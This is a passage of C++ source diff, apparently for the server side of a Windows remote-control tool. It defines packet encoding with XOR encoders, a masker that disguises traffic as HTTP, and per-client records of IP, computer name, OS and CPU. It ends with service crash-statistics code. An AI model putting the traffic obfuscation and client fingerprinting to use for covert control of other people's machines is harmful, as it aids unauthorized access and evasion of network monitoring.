m_Encoder2 = new XOREncoder16();
|
||||
break;
|
||||
case FLAG_HELL:
|
||||
// This version
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = FLAG_COMPLEN;
|
||||
m_nFlagLen = FLAG_LENGTH;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new XOREncoder16();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return PR{ m_nFlagLen };
|
||||
}
|
||||
BOOL IsEncodeHeader() const
|
||||
{
|
||||
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
||||
}
|
||||
HeaderParser& Reset()
|
||||
{
|
||||
m_bShouldUnmask = -1;
|
||||
if (m_Masker) {
|
||||
m_Masker->Destroy();
|
||||
m_Masker = nullptr;
|
||||
}
|
||||
SAFE_DELETE(m_Encoder);
|
||||
SAFE_DELETE(m_Encoder2);
|
||||
m_bParsed = FALSE;
|
||||
m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
|
||||
m_nFlagType = FLAG_UNKNOWN;
|
||||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||||
return *this;
|
||||
}
|
||||
BOOL IsParsed() const
|
||||
{
|
||||
return m_bParsed;
|
||||
}
|
||||
int GetFlagLen() const
|
||||
{
|
||||
return m_nFlagLen;
|
||||
}
|
||||
int GetHeaderLen() const
|
||||
{
|
||||
return m_nHeaderLen;
|
||||
}
|
||||
const char* GetFlag() const
|
||||
{
|
||||
return m_szPacketFlag;
|
||||
}
|
||||
FlagType GetFlagType() const
|
||||
{
|
||||
return m_nFlagType;
|
||||
}
|
||||
Encoder* GetEncoder() const
|
||||
{
|
||||
return m_Encoder;
|
||||
}
|
||||
Encoder* GetEncoder2() const
|
||||
{
|
||||
return m_Encoder2;
|
||||
}
|
||||
private:
|
||||
BOOL m_bParsed; // 数据包是否可以解析
|
||||
int m_nHeaderLen; // 数据包的头长度
|
||||
int m_nCompareLen; // 比对字节数
|
||||
int m_nFlagLen; // 标识长度
|
||||
FlagType m_nFlagType; // 标识类型
|
||||
char m_szPacketFlag[32]; // 对比信息
|
||||
Encoder* m_Encoder; // 编码器
|
||||
Encoder* m_Encoder2; // 编码器2
|
||||
PkgMask* m_Masker;
|
||||
int m_bShouldUnmask;
|
||||
};
|
||||
|
||||
enum IOType {
|
||||
IOInitialize,
|
||||
IORead,
|
||||
IOWrite,
|
||||
IOIdle
|
||||
};
|
||||
|
||||
#define TRACK_OVERLAPPEDPLUS 0
|
||||
|
||||
class OVERLAPPEDPLUS
|
||||
{
|
||||
public:
|
||||
|
||||
OVERLAPPED m_ol;
|
||||
IOType m_ioType;
|
||||
|
||||
OVERLAPPEDPLUS(IOType ioType)
|
||||
{
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||
m_ioType = ioType;
|
||||
}
|
||||
|
||||
~OVERLAPPEDPLUS()
|
||||
{
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
}
|
||||
};
|
||||
|
||||
class CONTEXT_OBJECT;
|
||||
typedef BOOL (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef BOOL (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
class Server
|
||||
{
|
||||
public:
|
||||
friend class CONTEXT_OBJECT;
|
||||
|
||||
Server() {}
|
||||
virtual ~Server() {}
|
||||
|
||||
virtual int GetPort() const = 0;
|
||||
|
||||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
|
||||
|
||||
virtual BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||||
|
||||
virtual void UpdateMaxConnection(int maxConn) {}
|
||||
|
||||
virtual void Destroy() {}
|
||||
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||||
};
|
||||
|
||||
// 预分配解压缩缓冲区大小
|
||||
#define PREALLOC_DECOMPRESS_SIZE (4 * 1024)
|
||||
|
||||
#include "context.h"
|
||||
typedef class CONTEXT_OBJECT : public context
|
||||
{
|
||||
public:
|
||||
virtual ~CONTEXT_OBJECT()
|
||||
{
|
||||
if (kcp) {
|
||||
ikcp_release(kcp);
|
||||
kcp = nullptr;
|
||||
}
|
||||
FreeDecompressBuffer();
|
||||
FreeCompressBuffer();
|
||||
FreeSendCompressBuffer();
|
||||
if (Zcctx) {
|
||||
ZSTD_freeCCtx(Zcctx);
|
||||
Zcctx = nullptr;
|
||||
}
|
||||
}
|
||||
virtual void SetLastHeartbeat(uint64_t time) override
|
||||
{
|
||||
LastHeartbeatTime = time;
|
||||
}
|
||||
virtual uint64_t GetLastHeartbeat() override
|
||||
{
|
||||
return LastHeartbeatTime;
|
||||
}
|
||||
CString sClientInfo[ONLINELIST_MAX];
|
||||
CString additonalInfo[RES_MAX];
|
||||
SOCKET sClientSocket;
|
||||
WSABUF wsaInBuf;
|
||||
WSABUF wsaOutBuffer;
|
||||
char szBuffer[PACKET_LENGTH];
|
||||
CBuffer InCompressedBuffer; // 接收到的压缩的数据
|
||||
CBuffer InDeCompressedBuffer; // 解压后的数据
|
||||
CBuffer OutCompressedBuffer;
|
||||
HANDLE hDlg; // 对话框指针
|
||||
HWND hWnd; // 对话框窗口
|
||||
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
|
||||
int CompressMethod; // 压缩算法
|
||||
HeaderParser Parser; // 解析数据协议
|
||||
uint64_t ID; // 唯一标识
|
||||
|
||||
BOOL m_bProxyConnected; // 代理是否连接
|
||||
std::string MasterID; // 所属主控ID
|
||||
std::string PeerName; // 对端IP
|
||||
Server* server; // 所属服务端
|
||||
ikcpcb* kcp = nullptr; // 新增,指向KCP会话
|
||||
std::string GroupName; // 分组名称
|
||||
CLock SendLock; // fix #214
|
||||
time_t OnlineTime = 0; // 上线时间
|
||||
time_t LastHeartbeatTime = 0; // 最后心跳时间
|
||||
|
||||
// 引用计数:跟踪正在处理此对象的工作线程数量,防止竞态条件 (#215)
|
||||
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
||||
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
||||
|
||||
// 预分配的解压缩缓冲区,避免频繁内存分配
|
||||
PBYTE DecompressBuffer = nullptr;
|
||||
ULONG DecompressBufferSize = 0;
|
||||
// 预分配的压缩数据缓冲区(接收时解压前)
|
||||
PBYTE CompressBuffer = nullptr;
|
||||
ULONG CompressBufferSize = 0;
|
||||
// 预分配的发送压缩缓冲区(发送时压缩后)
|
||||
PBYTE SendCompressBuffer = nullptr;
|
||||
ULONG SendCompressBufferSize = 0;
|
||||
int CompressLevel = ZSTD_CLEVEL_DEFAULT;
|
||||
ZSTD_CCtx* Zcctx = nullptr;
|
||||
|
||||
void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT)
|
||||
{
|
||||
CAutoCLock L(SendLock);
|
||||
CompressLevel = level;
|
||||
if (Zcctx == nullptr) {
|
||||
Zcctx = ZSTD_createCCtx();
|
||||
ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level);
|
||||
}
|
||||
}
|
||||
void SetCompressionLevel(int level)
|
||||
{
|
||||
CAutoCLock L(SendLock);
|
||||
CompressLevel = level;
|
||||
if (Zcctx) {
|
||||
ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level);
|
||||
}
|
||||
}
|
||||
int GetZstdLevel() const
|
||||
{
|
||||
return CompressLevel;
|
||||
}
|
||||
// 获取或分配解压缩缓冲区
|
||||
PBYTE GetDecompressBuffer(ULONG requiredSize)
|
||||
{
|
||||
if (DecompressBuffer == nullptr || DecompressBufferSize < requiredSize) {
|
||||
FreeDecompressBuffer();
|
||||
// 分配时预留一些余量,减少重新分配次数
|
||||
DecompressBufferSize = max(requiredSize, PREALLOC_DECOMPRESS_SIZE);
|
||||
DecompressBuffer = new BYTE[DecompressBufferSize];
|
||||
}
|
||||
return DecompressBuffer;
|
||||
}
|
||||
|
||||
void FreeDecompressBuffer()
|
||||
{
|
||||
if (DecompressBuffer) {
|
||||
delete[] DecompressBuffer;
|
||||
DecompressBuffer = nullptr;
|
||||
DecompressBufferSize = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// 获取或分配压缩数据缓冲区(用于接收时存放解压前的数据)
|
||||
PBYTE GetCompressBuffer(ULONG requiredSize)
|
||||
{
|
||||
if (CompressBuffer == nullptr || CompressBufferSize < requiredSize) {
|
||||
FreeCompressBuffer();
|
||||
CompressBufferSize = max(requiredSize, PREALLOC_DECOMPRESS_SIZE);
|
||||
CompressBuffer = new BYTE[CompressBufferSize];
|
||||
}
|
||||
return CompressBuffer;
|
||||
}
|
||||
|
||||
void FreeCompressBuffer()
|
||||
{
|
||||
if (CompressBuffer) {
|
||||
delete[] CompressBuffer;
|
||||
CompressBuffer = nullptr;
|
||||
CompressBufferSize = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// 获取或分配发送用压缩缓冲区(用于发送时存放压缩后的数据)
|
||||
PBYTE GetSendCompressBuffer(ULONG requiredSize)
|
||||
{
|
||||
if (SendCompressBuffer == nullptr || SendCompressBufferSize < requiredSize) {
|
||||
FreeSendCompressBuffer();
|
||||
SendCompressBufferSize = max(requiredSize, PREALLOC_DECOMPRESS_SIZE);
|
||||
SendCompressBuffer = new BYTE[SendCompressBufferSize];
|
||||
}
|
||||
return SendCompressBuffer;
|
||||
}
|
||||
|
||||
void FreeSendCompressBuffer()
|
||||
{
|
||||
if (SendCompressBuffer) {
|
||||
delete[] SendCompressBuffer;
|
||||
SendCompressBuffer = nullptr;
|
||||
SendCompressBufferSize = 0;
|
||||
}
|
||||
}
|
||||
|
||||
std::string GetProtocol() const override
|
||||
{
|
||||
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
|
||||
}
|
||||
int GetServerPort() const override
|
||||
{
|
||||
return server->GetPort();
|
||||
}
|
||||
VOID InitMember(SOCKET s, VOID*svr)
|
||||
{
|
||||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||||
hDlg = NULL;
|
||||
hWnd = NULL;
|
||||
sClientSocket = s;
|
||||
PeerName = ::GetPeerName(sClientSocket);
|
||||
memset(&wsaInBuf, 0, sizeof(WSABUF));
|
||||
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
|
||||
olps = NULL;
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||||
sClientInfo[i].Empty();
|
||||
}
|
||||
for (int i = 0; i < RES_MAX; i++) {
|
||||
additonalInfo[i].Empty();
|
||||
}
|
||||
CompressMethod = COMPRESS_ZSTD;
|
||||
Parser.Reset();
|
||||
MasterID.clear();
|
||||
m_bProxyConnected = FALSE;
|
||||
server = (Server*)svr;
|
||||
OnlineTime = time(0);
|
||||
LastHeartbeatTime = OnlineTime;
|
||||
GroupName.clear();
|
||||
ID = 0;
|
||||
// 重置引用计数和移除标志 (#215)
|
||||
// 顺序重要:先确保 IsRemoved=false(允许新的 I/O 处理),再重置 IoRefCount
|
||||
// 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0
|
||||
IsRemoved.store(false, std::memory_order_release);
|
||||
IoRefCount.store(0, std::memory_order_release);
|
||||
}
|
||||
uint64_t GetAliveTime()const
|
||||
{
|
||||
return time(0) - OnlineTime;
|
||||
}
|
||||
Server* GetServer()
|
||||
{
|
||||
return server;
|
||||
}
|
||||
BOOL Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override
|
||||
{
|
||||
if (server) {
|
||||
CAutoCLock L(SendLock);
|
||||
return server->Send2Client(this, szBuffer, ulOriginalLength);
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
|
||||
{
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||||
sClientInfo[i] = s[i];
|
||||
}
|
||||
for (int i = 0; i < a.size() && i < RES_MAX; i++) {
|
||||
additonalInfo[i] = a[i].c_str();
|
||||
}
|
||||
}
|
||||
PBYTE GetBuffer(int offset)
|
||||
{
|
||||
return InDeCompressedBuffer.GetBuffer(offset);
|
||||
}
|
||||
ULONG GetBufferLength()
|
||||
{
|
||||
return InDeCompressedBuffer.GetBufferLength();
|
||||
}
|
||||
virtual std::string GetPeerName() const
|
||||
{
|
||||
return PeerName;
|
||||
}
|
||||
void SetPeerName(const std::string& peer)
|
||||
{
|
||||
PeerName = peer;
|
||||
}
|
||||
virtual int GetPort() const
|
||||
{
|
||||
// 第一次返回套接字,后续返回地址栏端口号
|
||||
if (sClientInfo[ONLINELIST_ADDR].IsEmpty())
|
||||
return sClientSocket;
|
||||
return atoi(sClientInfo[ONLINELIST_ADDR]);
|
||||
}
|
||||
CString GetClientData(int index) const override
|
||||
{
|
||||
return sClientInfo[index];
|
||||
}
|
||||
void SetClientData(int index, const CString& data ) {
|
||||
if (index < ONLINELIST_MAX) {
|
||||
sClientInfo[index] = data;
|
||||
}
|
||||
}
|
||||
void GetAdditionalData(CString(&s)[RES_MAX]) const override
|
||||
{
|
||||
for (int i = 0; i < RES_MAX; i++) {
|
||||
s[i] = additonalInfo[i];
|
||||
}
|
||||
}
|
||||
CString GetAdditionalData(int index) const override
|
||||
{
|
||||
return additonalInfo[index];
|
||||
}
|
||||
void SetAdditionalData(int index, const std::string &value)
|
||||
{
|
||||
if (index >= 0 && index < RES_MAX) {
|
||||
additonalInfo[index] = value.c_str();
|
||||
}
|
||||
}
|
||||
std::string GetGroupName() const override
|
||||
{
|
||||
return GroupName;
|
||||
}
|
||||
virtual void SetGroupName(const std::string& group)override
|
||||
{
|
||||
GroupName = group;
|
||||
}
|
||||
BOOL IsLogin() const override
|
||||
{
|
||||
return true;
|
||||
}
|
||||
virtual std::string GetMasterID() const override {
|
||||
return MasterID;
|
||||
}
|
||||
uint64_t GetClientID() const override
|
||||
{
|
||||
return ID;
|
||||
}
|
||||
void CancelIO() override
|
||||
{
|
||||
SAFE_CANCELIO(sClientSocket);
|
||||
}
|
||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos)
|
||||
{
|
||||
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
|
||||
}
|
||||
BYTE GetBYTE(int offset)
|
||||
{
|
||||
return InDeCompressedBuffer.GetBYTE(offset);
|
||||
}
|
||||
virtual FlagType GetFlagType() const override
|
||||
{
|
||||
return Parser.m_nFlagType;
|
||||
}
|
||||
// Write compressed buffer.
|
||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1)
|
||||
{
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||||
BYTE szPacketFlag[32] = {};
|
||||
const int flagLen = Parser.GetFlagLen();
|
||||
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
||||
if (Parser.IsEncodeHeader())
|
||||
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
||||
CBuffer buf;
|
||||
buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
||||
buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
||||
buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
||||
} else {
|
||||
buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
||||
}
|
||||
Encode2(data, dataLen, szPacketFlag);
|
||||
buf.WriteBuffer(data, dataLen);
|
||||
// Mask
|
||||
char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr;
|
||||
ULONG ulLength = 0;
|
||||
Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd);
|
||||
OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||
if (szBuffer != src)
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
}
|
||||
// Read compressed buffer. 使用预分配缓冲区,避免频繁内存分配
|
||||
PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen)
|
||||
{
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = 0;
|
||||
BYTE szPacketFlag[32] = {};
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
|
||||
} else {
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
}
|
||||
dataLen = totalLen - Parser.GetHeaderLen();
|
||||
// 使用预分配缓冲区替代每次 new
|
||||
PBYTE CompressedBuffer = GetCompressBuffer(dataLen);
|
||||
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
||||
Decode2(CompressedBuffer, dataLen, szPacketFlag);
|
||||
return CompressedBuffer;
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||
PR Parse(CBuffer& buf)
|
||||
{
|
||||
return Parser.Parse(buf, CompressMethod, PeerName);
|
||||
}
|
||||
void Encode(PBYTE data, int len, const bool &flag) const
|
||||
{
|
||||
flag ? (len > 1 ? data[1] ^= 0x2B : 0x2B == 0x2B) : 0x2B == 0x2B;
|
||||
}
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const
|
||||
{
|
||||
auto enc = Parser.GetEncoder();
|
||||
if (enc) enc->Encode((unsigned char*)data, len);
|
||||
}
|
||||
// Decode data after uncompress.
|
||||
void Decode(PBYTE data, int len) const
|
||||
{
|
||||
auto enc = Parser.GetEncoder();
|
||||
if (enc) enc->Decode((unsigned char*)data, len);
|
||||
}
|
||||
// Encode data after compress.
|
||||
void Encode2(PBYTE data, int len, PBYTE param) const
|
||||
{
|
||||
auto enc = Parser.GetEncoder2();
|
||||
if (enc) enc->Encode((unsigned char*)data, len, param);
|
||||
}
|
||||
// Decode data before uncompress.
|
||||
void Decode2(PBYTE data, int len, PBYTE param) const
|
||||
{
|
||||
auto enc = Parser.GetEncoder2();
|
||||
if (enc) enc->Decode((unsigned char*)data, len, param);
|
||||
}
|
||||
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX])
|
||||
{
|
||||
int idx[] = { ONLINELIST_PUBIP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
|
||||
CString s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += data[idx[i]] + "|";
|
||||
}
|
||||
s.Delete(s.GetLength() - 1);
|
||||
return XXH64(s.GetString(), s.GetLength(), 0);
|
||||
}
|
||||
void SetID(uint64_t id)
|
||||
{
|
||||
ID = id;
|
||||
}
|
||||
void SetGroup(const std::string& group)
|
||||
{
|
||||
GroupName = group;
|
||||
}
|
||||
void SetNoDelay(BOOL bNoDelay = TRUE)
|
||||
{
|
||||
setsockopt(sClientSocket, IPPROTO_TCP, TCP_NODELAY, (char*)&bNoDelay, sizeof(BOOL));
|
||||
}
|
||||
} CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
|
||||
class CONTEXT_UDP : public CONTEXT_OBJECT
|
||||
{
|
||||
public:
|
||||
int addrLen = 0;
|
||||
sockaddr_in clientAddr = {};
|
||||
CONTEXT_UDP()
|
||||
{
|
||||
}
|
||||
virtual ~CONTEXT_UDP()
|
||||
{
|
||||
}
|
||||
std::string GetProtocol() const override
|
||||
{
|
||||
return "UDP";
|
||||
}
|
||||
VOID InitMember(SOCKET s, VOID* svr) override
|
||||
{
|
||||
CONTEXT_OBJECT::InitMember(s, svr);
|
||||
clientAddr = {};
|
||||
addrLen = sizeof(sockaddr_in);
|
||||
}
|
||||
void Destroy() override
|
||||
{
|
||||
delete this;
|
||||
}
|
||||
virtual std::string GetPeerName() const override
|
||||
{
|
||||
char client_ip[INET_ADDRSTRLEN];
|
||||
#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
|
||||
strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
|
||||
client_ip[INET_ADDRSTRLEN - 1] = '\0';
|
||||
#else
|
||||
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
|
||||
#endif
|
||||
return client_ip;
|
||||
}
|
||||
virtual int GetPort() const override
|
||||
{
|
||||
int client_port = ntohs(clientAddr.sin_port);
|
||||
return client_port;
|
||||
}
|
||||
};
|
||||
635
server/2015Remote/ServerServiceWrapper.cpp
Normal file
635
server/2015Remote/ServerServiceWrapper.cpp
Normal file
@@ -0,0 +1,635 @@
|
||||
#include "stdafx.h"
|
||||
#include "ServerServiceWrapper.h"
|
||||
#include "ServerSessionMonitor.h"
|
||||
#include "CrashReport.h"
|
||||
#include <stdio.h>
|
||||
#include <winsvc.h>
|
||||
#include "2015Remote.h"
|
||||
|
||||
// 静态变量
|
||||
static SERVICE_STATUS g_ServiceStatus;
|
||||
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
|
||||
static HANDLE g_StopEvent = INVALID_HANDLE_VALUE;
|
||||
|
||||
// 前向声明
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
// 代理启动回调:记录启动次数
|
||||
static void OnAgentStart(DWORD processId, DWORD sessionId)
|
||||
{
|
||||
// 递增启动次数
|
||||
int startCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, 0) + 1;
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, startCount);
|
||||
|
||||
char buf[128];
|
||||
sprintf_s(buf, sizeof(buf), "Agent started: PID=%d, Session=%d, totalStarts=%d",
|
||||
(int)processId, (int)sessionId, startCount);
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 代理退出回调:累计运行时间(用于 MTBF 计算)
|
||||
static void OnAgentExit(DWORD exitCode, ULONGLONG runtimeMs)
|
||||
{
|
||||
// 累加总运行时间
|
||||
// 注意:使用字符串存储 64 位整数,避免 GetInt/SetInt 的 32 位限制
|
||||
char totalStr[32];
|
||||
ULONGLONG totalRuntime = 0;
|
||||
std::string storedTotal = THIS_CFG.GetStr(CFG_CRASH_SECTION, CFG_CRASH_TOTAL_RUN_MS, "0");
|
||||
totalRuntime = _strtoui64(storedTotal.c_str(), NULL, 10);
|
||||
totalRuntime += runtimeMs;
|
||||
sprintf_s(totalStr, sizeof(totalStr), "%llu", totalRuntime);
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_TOTAL_RUN_MS, totalStr);
|
||||
|
||||
// 格式化运行时间
|
||||
char runtimeStr[64];
|
||||
FormatRuntime(totalRuntime, runtimeStr, sizeof(runtimeStr));
|
||||
|
||||
// 计算 MTBF(如果有崩溃记录)
|
||||
int crashCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, 0);
|
||||
int startCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, 0);
|
||||
|
||||
char buf[256];
|
||||
if (crashCount > 0) {
|
||||
ULONGLONG mtbf = CalculateMTBF(totalRuntime, crashCount);
|
||||
char mtbfStr[64];
|
||||
FormatRuntime(mtbf, mtbfStr, sizeof(mtbfStr));
|
||||
double failureRate = CalculateFailureRate(crashCount, startCount);
|
||||
sprintf_s(buf, sizeof(buf),
|
||||
"Agent exited: code=0x%08X, runtime=%llums, totalRuntime=%s, MTBF=%s, failureRate=%.2f%%",
|
||||
exitCode, runtimeMs, runtimeStr, mtbfStr, failureRate * 100);
|
||||
} else {
|
||||
sprintf_s(buf, sizeof(buf),
|
||||
"Agent exited: code=0x%08X, runtime=%llums, totalRuntime=%s (no crashes yet)",
|
||||
exitCode, runtimeMs, runtimeStr);
|
||||
}
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 崩溃统计回调:记录崩溃次数、时间和退出代码
|
||||
static void OnAgentCrash(DWORD exitCode, ULONGLONG runtimeMs)
|
||||
{
|
||||
// 递增总崩溃次数
|
||||
int totalCrashes = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, 0) + 1;
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, totalCrashes);
|
||||
|
||||
// 记录最后崩溃时间
|
||||
char timeStr[32];
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
sprintf_s(timeStr, sizeof(timeStr), "%04d-%02d-%02d %02d:%02d:%02d",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_LAST_TIME, timeStr);
|
||||
|
||||
// 记录退出代码
|
||||
char exitCodeStr[64];
|
||||
const char* desc = GetExitCodeDescription(exitCode);
|
||||
if (desc) {
|
||||
sprintf_s(exitCodeStr, sizeof(exitCodeStr), "0x%08X (%s)", exitCode, desc);
|
||||
} else {
|
||||
sprintf_s(exitCodeStr, sizeof(exitCodeStr), "0x%08X", exitCode);
|
||||
}
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_LAST_CODE, exitCodeStr);
|
||||
|
||||
// 记录运行时间(毫秒)- 使用字符串存储 64 位值
|
||||
char runtimeStr[32];
|
||||
sprintf_s(runtimeStr, sizeof(runtimeStr), "%llu", runtimeMs);
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_LAST_RUN_MS, runtimeStr);
|
||||
|
||||
char buf[256];
|
||||
sprintf_s(buf, sizeof(buf), "Agent crash recorded: total=%d, time=%s, exitCode=%s, runtime=%llums",
|
||||
totalCrashes, timeStr, exitCodeStr, runtimeMs);
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 崩溃窗口状态变化回调:持久化崩溃窗口状态
|
||||
static void OnCrashWindowChange(int crashCount, ULONGLONG firstCrashTime)
|
||||
{
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, crashCount);
|
||||
|
||||
// 使用字符串存储 64 位时间戳
|
||||
char timeStr[32];
|
||||
sprintf_s(timeStr, sizeof(timeStr), "%llu", firstCrashTime);
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, timeStr);
|
||||
|
||||
char buf[128];
|
||||
sprintf_s(buf, sizeof(buf), "Crash window state saved: count=%d, startTime=%llu", crashCount, firstCrashTime);
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 崩溃保护回调:写入保护标志
|
||||
// 注意:不在这里停止服务,由 MonitorLoop 检测 crashProtected 后自动退出
|
||||
static void OnAgentCrashProtection(void)
|
||||
{
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 1);
|
||||
// 切换到正常模式,避免用户无法启动程序
|
||||
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
||||
// 清除崩溃窗口状态(保护已触发,不需要再保持窗口状态)
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, 0);
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, "0");
|
||||
Mprintf("Crash protection triggered: switched to normal mode");
|
||||
}
|
||||
|
||||
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
|
||||
char* exePath, size_t exePathSize)
|
||||
{
|
||||
*registered = FALSE;
|
||||
*running = FALSE;
|
||||
if (exePath && exePathSize > 0) {
|
||||
exePath[0] = '\0';
|
||||
}
|
||||
|
||||
// 打开 SCM
|
||||
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 打开服务
|
||||
SC_HANDLE hService = OpenServiceA(
|
||||
hSCM,
|
||||
SERVER_SERVICE_NAME,
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return FALSE; // 未注册
|
||||
}
|
||||
|
||||
*registered = TRUE;
|
||||
|
||||
// 获取服务状态
|
||||
SERVICE_STATUS_PROCESS ssp;
|
||||
DWORD bytesNeeded = 0;
|
||||
memset(&ssp, 0, sizeof(ssp));
|
||||
if (QueryServiceStatusEx(
|
||||
hService,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
